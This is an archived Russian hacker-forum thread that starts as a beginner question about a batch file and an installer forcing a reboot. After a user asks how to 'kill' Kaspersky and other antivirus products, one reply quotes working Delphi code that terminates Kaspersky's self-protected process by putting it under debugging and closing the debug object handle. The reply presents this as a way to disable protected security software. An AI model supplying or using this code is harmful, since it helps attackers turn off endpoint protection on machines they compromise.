Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

помощь по BAT файлу

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> помощь по BAT файлу
Имя
Сообщение << Старые топики   Новые топики >>
помощь по BAT файлу - 2009-04-22 12:35:08.953333   
FENTAZY

Сообщений: 242
Оценки: 0
Присоединился: 2007-02-25 18:37:53.900000
Итак у меня проблема я када устанавливаю прогу через bat
autorun.exe |s |v |qn
она заставляет систему перезагружатся как можно исбежать перезагруски чтоб бат продолжил выполнять скрипт

Post #: 1
RE: помощь по BAT файлу - 2009-04-22 16:32:43.860000   
Ltonid

Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
autorun.exe |s |v |qn - это что? что должно делать? и весь ли это код bat'a?
Post #: 2
RE: помощь по BAT файлу - 2009-04-22 17:17:02.280000   
Zmaster

Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
FENTAZY, ты запускаешь из бата инсталятор программы, она устанавливается и перегружает систему, а тебе надо, чтобы батник выполнялся дальше, я правильно понял?
Post #: 3
RE: помощь по BAT файлу - 2009-04-22 17:20:22.683333   
FENTAZY

Сообщений: 242
Оценки: 0
Присоединился: 2007-02-25 18:37:53.900000
Zmaster
да ты меня правельно понял ) я уже решил проблему shutdown -a
зы нехачу создавать еще 1 тему лучше спрошу тут
у каво стоит каспер как его можна кильнуть?
просто я его не юзаю а еще если можна раскажите про dr. web и avast and panda ) зарание спс

и как припесать папке статус системной [sm=ab.gif]
Post #: 4
RE: помощь по BAT файлу - 2009-04-22 17:38:47.240000   
Zmaster

Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
quote:

Убиваем антивирус Касперского:


Лаборатория Касперского заявляет, что их антивирус не может быть уничтожен вредоносными программами, сейчас мы докажем, что это не так.

Антивирус Касперского устанавливает в систему драйвер, который перехватывает в ядре функции Native API: ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает любую работу этих API с своим процессом.

Для открытия процесса антивируса можно использовать метод OpenProcessEx. После этого мы получаем доступ к памяти антивируса, но прибить процесс через TerminateProcess по прежнему невозможно. Первое, что приходит в голову - это выполнить CreateRemoteThread с адресом Kernel32! ExitProcess, но этот метод не срабатывает, так как ExitProcess обращается к перехваченной ZwTerminateProcess. Но существует как всегда обходной способ. В наборе Native API в Windows XP есть функция DbgUiDebugActiveProcess предназначенная для взятия процесса в режим отладки, перед отладкой необходимо создать Debug обьект вызовом DbgUiConnectToDbg.

Вот прототипы этих функций:
Код:
Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external 'ntdll.dll';
Function DbgUiConnectToDbg(): NTStatus;stdcall;external 'ntdll.dll';


После перевода процесса в режим отладки он будет завершен при уничтожении связанного с ним Debug объекта, например это произойдет при завершении процесса отладчика. Нам нужно прибить отлаживаемый процесс, и при этом продолжить выполнение текущего процесса, значит нужно получить информацию о открытых нашим процессом хэндлах, найти и закрыть Debug объект.
Все эти действия производит следующий код:


Код:
{&lt;i&gt; убивание процесса отладочным методом &lt;/i&gt;}
Function DebugKillProcess(ProcessId: dword): boolean;
var
pHandle: dword;
myPID: dword;
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
r: dword;
begin
Result := false;
myPID := GetCurrentProcessId();
if not EnableDebugPrivilege() then Exit;
//подключаемся к системе отладки и получаем DebugObject
if DbgUiConnectToDbg() &lt;&gt; STATUS_SUCCESS then Exit;
pHandle := OpenProcessEx(ProcessId);
//включаем отладку процесса
if DbgUiDebugActiveProcess(pHandle) &lt;&gt; STATUS_SUCCESS then Exit;
//надо найти полученный DebugObject
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo = nil then Exit;
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ProcessId = myPID) and
(HandlesInfo^.Information[r].ObjectTypeNumber = $8) //DebugObject
then begin
//закрываем DebugObject, что приводит к уничтожению отлаживаемого процесса
CloseHandle(HandlesInfo^.Information[r].Handle);
Result := true;
break;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
end;



После чего антивирус Касперского убивается одной строкой:


Код:
DebugKillProcess(GetProcessId('kavmm.exe'));



Также, этим методом можно убить почти любую программу, авторы которой заявляют, что она неубиваемая.
Взять с http://www.itcenter.net.ru/modules/myarticles/article.php?storyid=108&storypage=1
Post #: 5
RE: помощь по BAT файлу - 2009-04-22 21:25:12.336666   
Mr_Naeba

Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
http://forum.xakep.ru/m_1127194/tm.htm

здесь батники горячо обсуждаются.
про антивирусы там тоже было. поищи
Post #: 6
Страниц:  [1]
Все форумы >> [Для начинающих] >> помощь по BAT файлу







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.